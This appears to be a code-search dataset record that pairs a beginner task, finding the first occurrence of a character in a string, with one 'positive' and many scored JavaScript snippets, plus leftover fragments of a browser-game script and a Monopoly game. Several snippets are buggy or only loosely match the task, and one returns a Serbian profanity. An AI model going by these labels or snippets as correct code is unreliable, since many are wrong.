attackTroops[j];\n\n\t\t\t\tconsole.log(param);\n\t\t\t}\n\t\t\t//ajaxRequest(document.location.href, )\n\n\t\t}\n\n\n\t\tfunction checkTroopsQuantity()\n\t\t{\n\t\t\tvar troopsQuantity = new Array(0,0,0,0,0,0,0,0,0,0);\n\n\t\t\tvar attackNumber = getNumberOfAttacks();\n\t\t\tfor(var i = 0; i < attackNumber; i++)\n\t\t\t{\n\t\t\t\tvar tableTroops = getTroopsFromTable(i);\n\t\t\t\tfor(var j = 0, len = tableTroops.length; j < len; j++)\n\t\t\t\t\ttroopsQuantity[j] += tableTroops[j];\n\t\t\t}\n\n\t\t\tvar troopsAvailable = getAvailableTroops();\n\t\t\tfor(var i = 0, len = troopsQuantity.length; i < len; i++)\n\t\t\t\tif(troopsQuantity[i] > troopsAvailable[i])\n\t\t\t\t\treturn false;\n\t\t\treturn true;\n\t\t}\n\n\t\tfunction getTroopsFromTable(attackNumber)\n\t\t{\n\t\t\tvar tableTroops = new Array();\n\t\t\tvar xPath = find(\"//div[@id='lmid2']//table[@class='p1' and @id='attackTable_\"+attackNumber+\"']//table[@class='f10']//input[@class='fm']\", XPList);\n\t\t\tfor(var i = 0; i < xPath.snapshotLength; i++)\n\t\t\t{\n\t\t\t\tvar value = xPath.snapshotItem(i).value;\n\t\t\t\ttableTroops.push( value.length ? parseInt(value) : 0 );\n\t\t\t}\n\t\t\treturn tableTroops;\n\t\t}\n\n\t\tfunction getNumberOfAttacks()\n\t\t{\n\t\t\tvar xPath = find(\"//div[@id='lmid2']//table[@class='p1']\", XPList);\n\t\t\treturn xPath.snapshotLength;\n\t\t}\n\n\t\tfunction getAttackTable(attackNumber)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn get('attackTable_' + attackNumber);\n\t\t\t}\n\t\t\tcatch (e)\n\t\t\t{\n\t\t\t\treturn alert('Could not find attack number: ' + attackNumber);\n\t\t\t}\n\t\t}\n\n\n\t\tfunction stateAttack(stateId, attackNumber)\n\t\t{\n\t\t\tvar tmpStr = '';\n\t\t\tswitch(stateId)\n\t\t\t{\n\t\t\t\tcase 1: tmpStr = '<font color=\"red\">Confirmed with these troops</font>'; break;\n\t\t\t\tcase 2: tmpStr = '<font color=\"blue\">Sending...</font>'; break;\n\t\t\t\tcase 3: tmpStr = '<font color=\"green\">Sent</font>'; break;\n\t\t\t\tcase 4: tmpStr = '<font color=\"red\">Send Failed</font>'; break;\n\t\t\t\tdefault: tmpStr = '<font color=\"red\">Not Sent</font>'; break;\n\t\t\t}\n\t\t\tvar tableTr = find(\"//div[@id='lmid2']//table[@class='p1' and @id='attackTable_\"+attackNumber+\"']//tr\", XPFirst);\n\n\t\t\t$elem('td', '<font color=\"red\">Not Sent</font>',{}, {}, tableTr);\n\t\t}\n\n\t\tfunction replaceFirstSendButton()\n\t\t{\n\t\t\tvar sendButton = find(\"//div[@id='lmid2']//input[@type='image' and @value='ok']\", XPFirst);\n\t\t\tvar src = sendButton.getAttribute('src');\n\t\t\tvar parentSend = sendButton.parentNode;\n\n\t\t\twhile(parentSend.childNodes.length)\n\t\t\t\tparentSend.removeChild(parentSend.childNodes[0]);\n\n\t\t\tvar img = $elem('img','',{'src':src, 'border':'0'},{},parentSend);\n\n\t\t\timg.addEventListener('click', confirmMultiTroops, 0);\n\t\t}\n\n\t\tfunction createAddAttackButton()\n\t\t{\n\t\t\tvar createAttackButton = $elem('a', ' + Add Attack Block', {'href':'javascript:void(0);'},{}, get('lmid2').childNodes[0]); //TEMP -- CHANGE LATER\n\t\t\tcreateAttackButton.addEventListener(\"click\", function()\n\t\t\t{\n\t\t\t\tvar numAttacks = getNumberOfAttacks();\n\t\t\t\tvar oldTable = getAttackTable(numAttacks-1);\n\t\t\t\tvar newTableContent = oldTable.innerHTML;\n\t\t\t\tvar newTable = $elem('table', newTableContent, {'id': 'attackTable_'+(numAttacks), 'class':'p1', 'cellspacing':'1', 'cellpadding':'0'}, {'width':'100%'});\n\t\t\t\tvar br = $elem('br');\n\t\t\t\tinsertAfter(oldTable, br);\n\t\t\t\tinsertAfter(br, newTable);\n\t\t\t},0);\n\t\t}\n\n\t\t//*/\n\t}\n\n}", "title": "" }, { "docid": "a29c28c4f6273f0e286a0e0250d3d044", "score": "0.4880839", "text": "doDefaite() {\n // On laisse juste le nom et on supprime le reste, on supprime le pion, on remet les maison a la vente\n // Le banquier peut mettre aux encheres les terrains\n this.maisons.libere();\n bus.refresh(); // Pour supprimer les terrains\n this.updateMaisonsByGroup();\n $('input', this.div).remove();\n this.pion.remove();\n // On affiche un style sur la liste\n $('.joueurCourant', this.div).removeAttr('style').addClass('defaite');\n this.setArgent(0);\n this.defaite = true;\n this.tourDefaite = globalStats.nbTours;\n bus.send(\"monopoly.defaite\", {\n joueur: this\n });\n }", "title": "" } ]
477f7e5bca990cea81347267f8a93e09
5. Write a function to find the position of the first occurrence of a character in a string. The result should be the position of character. If there are no occurrences of the character, the function should return 1.
[ { "docid": "45046c7b81b1c2ea8ff20e80115ea1a9", "score": "0.6926413", "text": "function positionA(string) {\n var a = 1;\n for (var i = 0; i < string.length; i++) {\n if (string[i] === 'a') {\n return a\n } else {\n a++;\n }\n }\n if (a > string.length) {\n return -1;\n }\n}", "title": "" } ]
[ { "docid": "dfcea27624c5b32f07fff6b5d41a4de3", "score": "0.86263907", "text": "function firstOccur(string,char) {\n var position = 0;\n for (var i = 0; i < string.length; i++) {\n if (string[i] === char) { \n position = i+1; // ili position = i\n break; // i = string.lenght\n }\n else position = -1;\n }\n return position;\n}", "title": "" }, { "docid": "a926c62cedf63e3f9edcaec9bf3aa708", "score": "0.85234034", "text": "function firstOcc(string, character) {\n for (var i = 0; i < string.length; i++) {\n if (string[i] === character) {\n return i;\n }\n }\n return -1;\n}", "title": "" }, { "docid": "5ac0193f7f6fdd5a65408f0c6fb498af", "score": "0.8472576", "text": "function firstCharacterOccurrence (string, char) {\n var result = \"\";\n for (var i = 0; i < string.length; i++) {\n if (string[i] === char) {\n result = i+1; // treba nam pozicija a ne index, zato na i dodajemo 1!\n break;\n } else {\n result = -1;\n }\n }\n return result;\n}", "title": "" }, { "docid": "5c5df68f83fe5bfb067815549911705c", "score": "0.8097193", "text": "function firstOcc(string, char) {\n for (var i = 0; i < string.length; i++) {\n if (string[i] === char) {\n return i;\n }\n } return 'kurcina'\n}", "title": "" }, { "docid": "1246f8911ed02a13118bedff9f753f08", "score": "0.8079954", "text": "function firtsOccurrence(s, char) {\n if (typeof s === \"string\") {\n var place = 0;\n for (var i = 0; i < s.length; i++) {\n if (s[i] === char) {\n place = i + 1;\n return place;\n }\n return -1;\n }\n }\n}", "title": "" }, { "docid": "6a19dd73083313a42dde6c41b07a9e53", "score": "0.77148956", "text": "function findPositionOfChar(someString, someChar) {\n let counter = -1;\n for (let i = someString.length; i >= 0; i--) {\n // console.log(someString[i]);\n if (someString[i] == someChar) {\n counter = i + 1;\n break;\n }\n }\n return counter;\n}", "title": "" }, { "docid": "5c04e5537c143e30121974338f333130", "score": "0.77099025", "text": "function firstUniqueChar(s) {\n\n const charMap = {};\n\n for(let i = 0; i < s.length; i++) {\n if(s[i] in charMap) {\n charMap[s[i]] += 1\n } else {\n charMap[s[i]] = 1;\n }\n }\n\n let result = -1\n for(let i = 0; i < s.length; i++) {\n if(charMap[s[i]] === 1) {\n result = i;\n break;\n }\n }\n return result\n}", "title": "" }, { "docid": "06fec7e9f463a6eb8b6b9f4d72df0c58", "score": "0.75306666", "text": "function findChar(str, char) {\n for (var i = 0; i < str.length; i++) {\n if (str[i] === char) {\n return i\n } \n }\n return \"does not exist\"\n}", "title": "" }, { "docid": "b183c9072ec0f7a2c4b70650963ead0c", "score": "0.7496406", "text": "function findFirstSubstringOccurrence(s, x) {\n const ans = s.split(x)\n if(ans.length > 1) {\n return ans[0].length\n }\n return -1\n}", "title": "" }, { "docid": "79c90a6d84e0b65401fdb0a6d823ec12", "score": "0.74742913", "text": "function findFirstNonIterativedCharacter(str) {\n let obj = {};\n for (let char of str) {\n obj[char] = obj[char] + 1 || 1;\n }\n \n for(el in obj){\n if (obj[el]===1)\n return el\n }\n return 'sorry'\n}", "title": "" }, { "docid": "529468a54bc062c8f47a2cb96bdc7b40", "score": "0.7397187", "text": "function getIndexOf(char, str) {\n for (var i = 0; i < str.length; i++) {\n var letter = str.charAt(i);\n if (char === letter) {\n return i;\n }\n }\n return - 1;\n}", "title": "" }, { "docid": "33fa1df2bd894c23c28fc247efc5a344", "score": "0.73473036", "text": "function findFirstNonRepeatingCharacter(str) {\n let counts = {};\n for(let char of str) {\n counts[char] = (counts[char] || 0) + 1;\n }\n for(let char of str) {\n if(counts[char] === 1) return char;\n }\n return null;\n}", "title": "" }, { "docid": "b5476d7dfe16b4836dbb71072a0b561c", "score": "0.7334596", "text": "function getIndexOf( char, str ) {\n var ind = -1;\n str.split( \"\" ).forEach( function( elem, index, array ) {\n if( elem === char && ind === -1 ) {\n ind = index;\n }\n } );\n return ind;\n}", "title": "" }, { "docid": "4f03eb52e5f5494f96b100c1c2f99b2a", "score": "0.73291636", "text": "function lastOccurrence(s, char) {\n if (typeof s === \"string\") {\n var place = 0;\n for (var i = s.length - 1; i >= 0; i--) {\n if (s[i] === char) {\n place = i + 1;\n return place;\n }\n }\n return -1;\n }\n}", "title": "" }, { "docid": "efe4d4593f0e3f6b781b4320e237ac39", "score": "0.72460175", "text": "function firstNonRepeatedCharacter(string) {\n if (!string || !string.length) return null;\n let charFreq = {};\n\n for (let char of string) {\n charFreq[char] = charFreq[char] ? ++charFreq[char] : 1;\n }\n\n for (let char of string) {\n if (charFreq[char] === 1) return char;\n }\n\n return null;\n}", "title": "" }, { "docid": "8c2f16e37dcbdc908428401045a7e34a", "score": "0.72257435", "text": "function lastCharacterOccurrence (string, char) {\n var result = 0;\n\n for (var i = 0; i < string.length; i++) {\n if (string[i] === char) {\n result = i + 1;\n } else {\n result = -1;\n }\n }\n return result;\n\n}", "title": "" }, { "docid": "2144cdceef42372bcf26c0b55aeb9afc", "score": "0.7117619", "text": "function lastOccur(string,char) { \n var position = 0; // od nazad\n for (var i = string.length-1; i >= 0; i--) {\n if (string[i] === char) {\n position = i+1;\n break; // break out of loop after first occurance\n }\n else position = -1;\n }\n return position;\n}", "title": "" }, { "docid": "6686ffc0113a7d81ddd52d4c275ef50f", "score": "0.71078056", "text": "function firstNonRepeatChar(str){\r\n var len = str.length,\r\n char,\r\n charCount = {};\r\n for(var i =0; i<len; i++){\r\n char = str[i];\r\n if(charCount[char]){\r\n charCount[char]++;\r\n }\r\n else\r\n charCount[char] = 1;\r\n }\r\n for (var j in charCount){\r\n if (charCount[j]==1)\r\n return j;\r\n }\r\n}", "title": "" }, { "docid": "ae0de3b6efa87b169ba9eb1819db4614", "score": "0.7095519", "text": "function firstNonRepeatingCharacter(string) {\n for (let i = 0; i < string.length; i++) {\n\t\tlet dupeCheck = false;\n\t\tfor (let j = 0; j < string.length; j++) {\n\t\t\tif (string[i] === string[j] && i !== j) dupeCheck = true;\n\t\t}\n\t\t\n\t\tif (!dupeCheck) return i;\n\t}\n\treturn -1;\n}", "title": "" }, { "docid": "2b2f36aa3aaadbf7be0a914712268508", "score": "0.70616174", "text": "function firstNonRepeatedCharacter (string) {\n\n var strArray = string.split(\"\");\n var letterObj = {}\n strArray.forEach(function(letter) {\n if (letterObj[letter] === undefined) {\n letterObj[letter] = 1;\n } else {\n letterObj[letter]++;\n }\n });\n for (var key in letterObj) {\n if (letterObj[key] === 1) {\n return key;\n }\n }\n return \"sorry\";\n}", "title": "" }, { "docid": "45ad244f0b8c9d0d58a6b68886df1a69", "score": "0.7043975", "text": "function findCharacterCount (str, character){\n\tvar totalCount;\n\n\tfunction countCharacter (characterCount, sliceCount1, sliceCount2 ){\t\n\t\tvar currentCharacter = str.slice(sliceCount1, sliceCount2);\n\t\t\n\t\tif(currentCharacter === character){\n\t\t\tcharacterCount++;\n\t\t}\n\n\t\tif(currentCharacter === ''){\n\t\t\ttotalCount = characterCount;\n\t\t\treturn;\n\t\t}\n\n\t\treturn countCharacter(characterCount, sliceCount1 + 1, sliceCount2 + 1);\n\t}\n\tcountCharacter(0, 0, 1);\n\treturn totalCount;\n}", "title": "" }, { "docid": "d0451c373a80e3d016a460ea342b470e", "score": "0.70126987", "text": "function findFirstUniqueCharacter(inputString) {\n let freqCounter = [];\n inputString.split(\"\").forEach(ch => {\n if (!freqCounter[ch]) freqCounter[ch] = 1;\n else freqCounter[ch]++;\n });\n\n for (let i = 0; i < inputString.length - 1; i++) {\n let ch = inputString[i];\n if (freqCounter[ch] == 1) return ch;\n }\n return \"No Unique Character Found\";\n}", "title": "" }, { "docid": "376a23419294da4e30dc41a8aec6460b", "score": "0.70060277", "text": "function firstNonRepeatingCharacter(string) {\n\tvar hashTable = {};\n\t//hash first occurence and counts to every character\n\tfor (var i=0; i<string.length; i++) {\n\t\tif (!hashTable[string[i]])\n\t\t\thashTable[string[i]] = {firstIndex:i, count:0}\n\t\thashTable[string[i]].count++;\n\t}\n\t//find min occurence index for every character that has count one\n\tvar minIndex = string.length-1;\n\tfor (var key in hashTable) {\n\t\tif (hashTable[key].count == 1)\n\t\t\tminIndex = Math.min(hashTable[key].firstIndex, minIndex);\n\t}\n\treturn string[minIndex];\n}", "title": "" }, { "docid": "63a49f27c7976dd13c447a834e3ecbc3", "score": "0.69981873", "text": "function countSpecificCharacter(str, searchChar) {\n let counter = 0;\n\n for (let i = 0; i < str.length; i++) {\n if(str[i] === searchChar){\n counter++;\n }\n }\n\n return counter;\n}", "title": "" }, { "docid": "e9ae25656a17d7a3c37f2d859f336835", "score": "0.6978492", "text": "function matchFirstChar(c, string) {\n\t\t\treturn(string.charAt(0) == c);\n\t\t\tconsole.log(\"not run?\");\n\t\t}", "title": "" }, { "docid": "837c3502eef27ce9aa5bfc80c8e757f2", "score": "0.69331723", "text": "function firstNonRepeatingChar(str){\n let map = {}\n\n for(let i = 0; i < str.length; i++){\n let char = str[i];\n\n if(char in map){\n map[char] = Infinity;\n }else{\n map[char] = i;\n }\n }\n\n let indices = Object.values(map);\n let minIdx = Math.min(...indices);\n\n if(minIdx === Infinity) return null;\n\n return str[minIdx];\n}", "title": "" }, { "docid": "cea1e7710654dda52d2e98cc95156058", "score": "0.69145715", "text": "function firstToLast(str, c) {\n //coding here..\n // console.log(str)\n // console.log(c)\n let result = 0;\n for (let i = 0; i < str.length; i++) {\n let searchC = str[i].search(c);\n console.log(str[i] + \"=\" + searchC);\n if (searchC === 0) {\n result++;\n // console.log(result)\n }\n }\n\n if (result === 1) {\n result = 0;\n } else if (result === 0) {\n result = -1;\n }\n\n return result;\n}", "title": "" }, { "docid": "bbda22180d66209651289fb28ca0254d", "score": "0.69103366", "text": "function returnFirstCharacter(string) {\n return string[0];\n}", "title": "" }, { "docid": "64bd1ab5bdec67b76427281a886d2a8d", "score": "0.68950135", "text": "function sc_stringIndex(s, cset, start) {\n var res;\n if (!start) start = 0;\n \n if (cset instanceof sc_Char) {\n res = s.val.indexOf(sc_char2string(cset), start);\n return res >= 0 ? res : false;\n }\n if (cset.val.length == 1) {\n res = s.val.indexOf(cset.val, start);\n return res >= 0 ? res : false;\n } else {\n for (var i = start; i < s.val.length; i++ ) {\n\t if (cset.val.indexOf(s.val.charAt(i)))\n\t return i;\n }\n\n return false;\n }\n}", "title": "" }, { "docid": "b67d49ee22468928e0a85b4a4dc006ec", "score": "0.6894101", "text": "function findFirstVowelPosition(word) {\n for (i = 0; i < word.length; i++) {\n var letter = word[i];\n if (isVowel(letter)) {\n return i;\n }\n }\n\n return -i\n}", "title": "" }, { "docid": "e89690a3cda8e372e8dbdee0b356b670", "score": "0.6868669", "text": "function stringIndexOf (word, char) {\n for (let i = 0; i < word.length; i ++) {\n if (word[i] === char) return i;\n }\n return -1;\n }", "title": "" }, { "docid": "d544a8c476f108b534d780a14f83efec", "score": "0.68595856", "text": "function firstRecurringChar(input){\n for(let i = 0; i < input.length; i++){\n for(let j = i+1; j < input.length; j++){\n if(input[i] === input[j]){\n return input[i];\n }\n }\n }\n return undefined;\n}", "title": "" }, { "docid": "b46cf711b7dc382a2125c78161bbc177", "score": "0.68468946", "text": "function firstRecurringChar(input) {\n let map = {}\n for (let i = 0; i < input.length; i++) {\n if (map[input[i]]) {\n return input[i];\n }\n else {\n map[input[i]] = i\n }\n }\n return undefined;\n} // 0(n) // space complexity O(1)", "title": "" }, { "docid": "baf7e9ceaa50165fe32e35c2191dddc7", "score": "0.6810354", "text": "function firstVowel(str) {\r\n for (var i = 0; i < str.length; i++) {\r\n if (str[i].toLowerCase() === \"a\" || str[i].toLowerCase() === \"e\" || str[i].toLowerCase() === \"i\" || str[i].toLowerCase() === \"o\" || str[i].toLowerCase() === \"u\") \r\n { return i; }\r\n }\r\n}", "title": "" }, { "docid": "6a13c927a0675058bfdb65ab8fba70b1", "score": "0.67888653", "text": "function characPosit(character){\n\t\t// convert the char to lowercase\n\t\t// get the ascii code of it\n\t\t//subtract the ascii code of 'a' from it and add 1\n\t\tcharacter=character.toLowerCase()\n\t\tvar ascii=character.charCodeAt();\n\t\tvar position=ascii-'a'.charCodeAt()+1;\n\n\t\treturn position;\n\n\t}", "title": "" }, { "docid": "eb9dfd9fa37d9e15ff036d912dac9ff5", "score": "0.678499", "text": "function firstUniqChar(s) {\n let obj = {};\n\n for (let i = 0; i < s.length; i++) {\n let letter = s[i];\n if (!obj[letter]) {\n obj[letter] = 1;\n } else {\n obj[letter]++;\n }\n }\n\n for (let key in obj) {\n if (obj[key] === 1) return s.indexOf(key);\n }\n\n return -1;\n}", "title": "" }, { "docid": "5f39e9f7ba20f1084144fbf3727e7c59", "score": "0.67783475", "text": "function firstNonRepeatedCharacter(string) {\n\n var chars = string.split('');\n\n for(var i = 0; i < chars.length; i++) {\n\n let char = chars[i];\n\n // skip backlashes, otherwise regex breaks\n if(char === '\\\\'){continue;}\n\n // if this character only occurs once\n let regex = new RegExp(`^[^${char}]*${char}[^${char}]*$`);\n\n if(string.match(regex)){\n return char;\n }\n\n }\n\n return 'sorry';\n}", "title": "" }, { "docid": "d08c3b58974ef342d38b6d79c90059ba", "score": "0.6775956", "text": "function firstRecurringCharacter(input) {\n for (let i = 0; i < input.length; i++) {\n for (let j = i + 1; j < input.length; j++) {\n if (input[i] === input[j]) {\n return input[i];\n }\n }\n }\n return undefined;\n}", "title": "" }, { "docid": "0a3483c2d58acb6a1d9c5182b4b2ab04", "score": "0.6775665", "text": "function singleCharacter(str, character) {\n \n for (i = 0; i < str.length; i++) {\n //return myString.indexOf(myCharacter);\n if (i === character) {\n return i.value;\n }\n }\n}", "title": "" }, { "docid": "de4052c834ee5b940ec440d874c5c194", "score": "0.6772561", "text": "function firstNonRepeatedChar(str){\n\n var alphaHash = {};\n\n for (var i = 0; i < str.length; i++){\n var targetChar = str[i];\n\n if (alphaHash[targetChar]) {\n alphaHash[targetChar]++;\n } else {\n alphaHash[targetChar] = 1;\n }\n }\n\n for (var i = 0; i < str.length; i++){\n if ( alphaHash[str[i]] === 1 ) {\n return str[i];\n }\n }\n\n return null;\n}", "title": "" }, { "docid": "f0d2362ccc1911c9ee3ad5240a6eaf5f", "score": "0.67712235", "text": "function numCharInString(str,char){\n var counter = 0;\n\n for(var i=0; i<str.length; i++){\n if(str.charAt(i)==char){\n counter++;\n }\n }\n\n return counter;\n}", "title": "" }, { "docid": "65db617de805fba746bd6e029e282a5d", "score": "0.6765568", "text": "function firstRecurringCharacter(input){\n for (let i=0;i<input.length;i++){\n for (let j= i+ 1;j<input.length;j++){\n if(input[i] === input[j]){\n return input[i]\n }\n } \n }\n return undefined\n}", "title": "" }, { "docid": "d9513671047526513ec72b7689c4a178", "score": "0.66703165", "text": "function occursOnce(string) {\n // iterate over the string\n for (let i = 0; i < string.length; i += 1) {\n // variable is the value of the current index\n const letter = string.charAt(i);\n // if the index of the current value is also the same as the index of the last example\n // ie it is the only occurance in the string\n if (string.indexOf(letter) === string.lastIndexOf(letter)) {\n // return the value\n return letter;\n }\n }\n}", "title": "" }, { "docid": "62930f7a429e1f787d45e37de5384346", "score": "0.66622573", "text": "function s(e){return\"0123456789abcdef\".indexOf(e.toLowerCase())}", "title": "" }, { "docid": "3afb975938463de9d3ee077e2d8b24f1", "score": "0.66616046", "text": "function CountChar(string, character)\r\n{\r\n\tvar count = 0;\r\n\tfor(var i = 0; i < string.length; i++)\r\n\t{\r\n\t\tif(string.charAt(i) == character)\r\n\t\t{\r\n\t\t\tcount++;\r\n\t\t}\r\n\t}\r\n\treturn count;\r\n}", "title": "" }, { "docid": "a0445b58b98e0f5e8c6c37fa2c7db0c1", "score": "0.665987", "text": "function countChar(string, char) {\n let strCount = 0;\n for (let i = 0; i < string.length; i++) {\n if (string[i] === char) {\n strCount ++;\n }\n }\n return strCount; \n}", "title": "" }, { "docid": "100717b00d74ec6640d305ce8ceb496c", "score": "0.6658154", "text": "function _findchar()\n{\n function to_find(str, a)\n {\n str = str.toLowerCase();\n a = a.toLowerCase();\n var strlen = str.length;\n var i = -1;\n var res = 0;\n\n while(++i < strlen)\n {\n if (str[i] === a)\n res++;\n }\n return res;\n }\n\n var str = prompt(\"Phrase\");\n var char = prompt(\"Caractere\");\n var res = to_find(str, char);\n alert(res);\n}", "title": "" }, { "docid": "1243727fcc087927d2b6efa1268a49d3", "score": "0.6647422", "text": "function getInputIndex (sString) {\n let charToFind = '_';\n let indexOfChetToFind = sString.indexOf(charToFind);\n if (indexOfChetToFind < 0) {\n return -1;\n }\n\n indexOfChetToFind++;\n\n let subString = sString.substring(indexOfChetToFind, sString.length);\n return (parseInt(subString, 10));\n}", "title": "" }, { "docid": "f734d9aa4a5cee7af607399439282e7e", "score": "0.6640912", "text": "function findFirstNonIterativedCharacter(str) {\n const arr = str.split(\"\");\n for (let i = 0; i < arr.length; i++) {\n let result = arr.shift();\n if (!arr.includes(result)) {\n return result;\n }\n }\n return \"Sorry\";\n}", "title": "" }, { "docid": "0eb3b89332d0630320120a103d9ea27d", "score": "0.66332704", "text": "function countChar(str, character) {\n var count = 0;\n for (var i = 0; i < str.length; i++) {\n if (str[i] == character) {\n count += 1;\n }\n } return count;\n}", "title": "" }, { "docid": "8fbbc94b74f63c5095f769149b8aa0fd", "score": "0.662195", "text": "function charInString(string = test_string) {\n\tconsole.log(`Position of i in string is ${test_string.search('i')}`);\n}", "title": "" }, { "docid": "7329173b786b68665ba1bde57a043eed", "score": "0.66106206", "text": "function countChar (string,ch) {\n var counted = 0;\nfor (var i = 0;i < string.length;i++)\n if (string.charAt(i) == ch)\n counted +=1;\n return counted;\n}", "title": "" }, { "docid": "4c6bf11d744514b13fe274736dbc4a3d", "score": "0.6598121", "text": "function strOccurences(char, str) {\n let count = 0;\n for(let i = 0; i < str.length; i++) {\n if(str[i] === char) {\n count++;\n }\n }\n\n return count;\n}", "title": "" }, { "docid": "745504a834996a0ec1e93a469b35aa72", "score": "0.65634", "text": "function lastIndex(text, char) {\n for (var i = text.length-1; i>0; i--) {\n if (text.charAt(i) == char) { return i; }\n }\n return 0\n}", "title": "" }, { "docid": "8a42547a2a8935d0eaf856a7c04aab02", "score": "0.6549153", "text": "function char_count(str, letter) \n{\n var Count = 0;\n for (var position = 0; position < str.length; position++) \n {\n if (str.charAt(position) == letter) \n {\n Count += 1;\n }\n }\n return Count;\n}", "title": "" }, { "docid": "02d7e4b5e8d39676bd14f380c77d151f", "score": "0.65486926", "text": "function getFirstChar(string) {\n return string[0];\n}", "title": "" }, { "docid": "8d7abc5e46ca878af4df9f78009b08b1", "score": "0.654685", "text": "function firstRecurringCharacter(input) {\n\n // Validate input\n if(!input){\n console.log\n }\n\n // Loop through -> Hash table to keep\n const tracker = {};\n\n for (let i=0; i<input.length; i++){\n const val = input[i];\n\n // If it does not exists get add add 1\n if (!tracker[val]) {\n tracker[val] = 1;\n } else {\n // tracker[val] += 1;\n return val;\n }\n\n }\n\n // if nothing is found then retuen undefined\n return undefined;\n}", "title": "" }, { "docid": "0c6b19243af569db1450c11ccc10a738", "score": "0.6541322", "text": "function indexOf(word, p, c) {\n var j = 0;\n while ((p + j) <= word.length) {\n if (word.charAt(p + j) == c) return j;\n j++;\n }\n return -1;\n }", "title": "" }, { "docid": "0c6b19243af569db1450c11ccc10a738", "score": "0.6541322", "text": "function indexOf(word, p, c) {\n var j = 0;\n while ((p + j) <= word.length) {\n if (word.charAt(p + j) == c) return j;\n j++;\n }\n return -1;\n }", "title": "" }, { "docid": "12f003a595404d62281847338b8d8587", "score": "0.6529137", "text": "function lastOcc(string, letter) {\n var position = 0;\n for (var i = string.length - 1; i >= 0; i--) {\n if (string[i] === letter) {\n position = i;\n break;\n }\n else {\n position = -1;\n }\n }\n return position;\n}", "title": "" }, { "docid": "ded1aafc710120213744821a51da9cb7", "score": "0.6528202", "text": "function str(string) {\n var arr=string.split(\"\");\n var word=\"balloon\";\n var result=0;\n for (var i=0; i < arr.length; i++) {\n if (word.search(arr[i])) {\n result = result + 1;\n }\n } \n return result;\n}", "title": "" }, { "docid": "0aa536dbccd8eadf8019c0426011dff4", "score": "0.6526322", "text": "function getPosition(str,start,needle){\n\tvar index = str.substr(start).indexOf(needle);\n\tif (index==-1) {\n\t\treturn index;\n\t}\n\treturn index+start;\n}", "title": "" }, { "docid": "ed395496a412d0ec3209ae1e5bd45126", "score": "0.65255606", "text": "function firstNonRepeatedCharacter(str) {\n\tconst a = str.split(\"\").filter(i => str.split(\"\").filter(j => i === j).length === 1)[0];\n\treturn a ? a : false;\n}", "title": "" }, { "docid": "a21918931b062ac63129d8d3c98a5510", "score": "0.65220505", "text": "function first(input) {\n return input.charAt(0);\n}", "title": "" }, { "docid": "af4c4157501bc575df0d82ee23ea0136", "score": "0.65218425", "text": "function countCharacter(str,chr) {\n var arr = str.split(\"\"); // split an array into substrings\n var charCount = 0;\n\n for (var i = 0; i < arr.length; i++) { // going through each substrings\n if (arr[i] === chr) { // since chr/a hits the right position\n charCount++; // start counting by how many hits before hit \"a\"\n }\n }\n return charCount;\n}", "title": "" }, { "docid": "943467f3eda37c805fa32e8571a22c16", "score": "0.6519469", "text": "function bigstring_find(bs, chr, pos, len){\n while(len > 0){\n if(caml_ba_get_1(bs,pos) == chr) return pos;\n pos++;\n len--;\n }\n return -1;\n}", "title": "" }, { "docid": "943467f3eda37c805fa32e8571a22c16", "score": "0.6519469", "text": "function bigstring_find(bs, chr, pos, len){\n while(len > 0){\n if(caml_ba_get_1(bs,pos) == chr) return pos;\n pos++;\n len--;\n }\n return -1;\n}", "title": "" }, { "docid": "e6ca5e8d455e235692969ccc8a4e8c69", "score": "0.6504146", "text": "function findIndex$1 (x, a) {\n for (var i = 0, l = a.length; i < l; ++i) {\n if (x === a[i]) {\n return i\n }\n }\n return -1\n }", "title": "" }, { "docid": "b9e2931cf71fdb7e584f093d5fc8a552", "score": "0.6499837", "text": "function first_vowel(input) {\n var pattern = /(A|E|I|O|U|Y)/;\n // Returns index of the first match between the regex and string\n var pos = input.toUpperCase().search(pattern);\n var _hindex = pos + 1;\n\n if (pos > -1) {\n return _hindex.toString();\n } else {\n return -1;\n }\n}", "title": "" }, { "docid": "679822a238767250e71b17e75089ccb5", "score": "0.649474", "text": "function position(letter) {\n const letters = \"abcdefghijklmnopqrstuvwxyz\";\n const result = letters.indexOf(letter) + 1\n return 'Position of alphabet: ' + result + ''\n}", "title": "" }, { "docid": "1a8984093803b22679f76aa4722153b2", "score": "0.64929265", "text": "function CountCs(ourString, givenChar)\n{\n var counter = 0;\n for(var i = 0; i< ourString.length; i++)\n {\n if(ourString[i] == givenChar)\n counter++;\n }\n return counter;\n}", "title": "" }, { "docid": "be72d3c50aa33187851010d95223d6b2", "score": "0.64895445", "text": "function occurrencersLetter (string, letter) {\n var regex = new RegExp(letter, 'g')\n if (string.match(regex) === null) return 0\n return string.match(regex).length\n}", "title": "" }, { "docid": "557c884550cc86e1cf4e4129fcb23d53", "score": "0.6487576", "text": "function countOccurrences(string, character) {\n // your code is here\n var acc = 0;\n return reduce(string, function(acc, value){\n return acc + (value === character ? 1:0);\n }, acc);\n}", "title": "" }, { "docid": "3132935abb8b919ebb8bc92d1807ab8d", "score": "0.64734846", "text": "function FirstAppearingOnce()\n{\n // write code here\n for(let i = 0; i < str.length; i++) {\n if(str.indexOf(str[i]) === str.lastIndexOf(str[i])) \n return str[i];\n }\n return '#';\n}", "title": "" }, { "docid": "cbb8f980db74ccc42fc7d06d9e1d2fbc", "score": "0.6462498", "text": "function count(text, char) {\n let c = 0;\n for (let i = 0; i < text.length; i++) { // Iterate through string\n if (text[i] === char)\n c++; // Increment count if found\n }\n return c; // Return count\n}", "title": "" }, { "docid": "6ba44926805248ac52660c9e15a7b236", "score": "0.64619243", "text": "function char_count(str, letter) \n{\n var letter_Count = 0;\n for (var position = 0; position < str.length; position++) \n {\n if (str.charAt(position) == letter) \n {\n letter_Count += 1;\n }\n }\n return letter_Count;\n}", "title": "" }, { "docid": "25ae71142c51a2b916e1541e3b2ff09c", "score": "0.6458764", "text": "function badchar(s) {\n\tvar x = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz()~&<>=#';\n\tfor(var i=0;i<s.length;i++) {\n\t\tif(x.indexOf(s[i])<0) {\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn -1;\n}", "title": "" }, { "docid": "d0ca6e32dfd0ab288683d93d6ff9a96b", "score": "0.6439598", "text": "function countChar(string, char) {\n\tvar count = 0;\n\tfor (var i = 0; i < string.length; i++) {\n\t\tif (string.charAt(i) === char) {\n\t\t\tcount++;\n\t\t}\n\t}\n\treturn count;\n}", "title": "" }, { 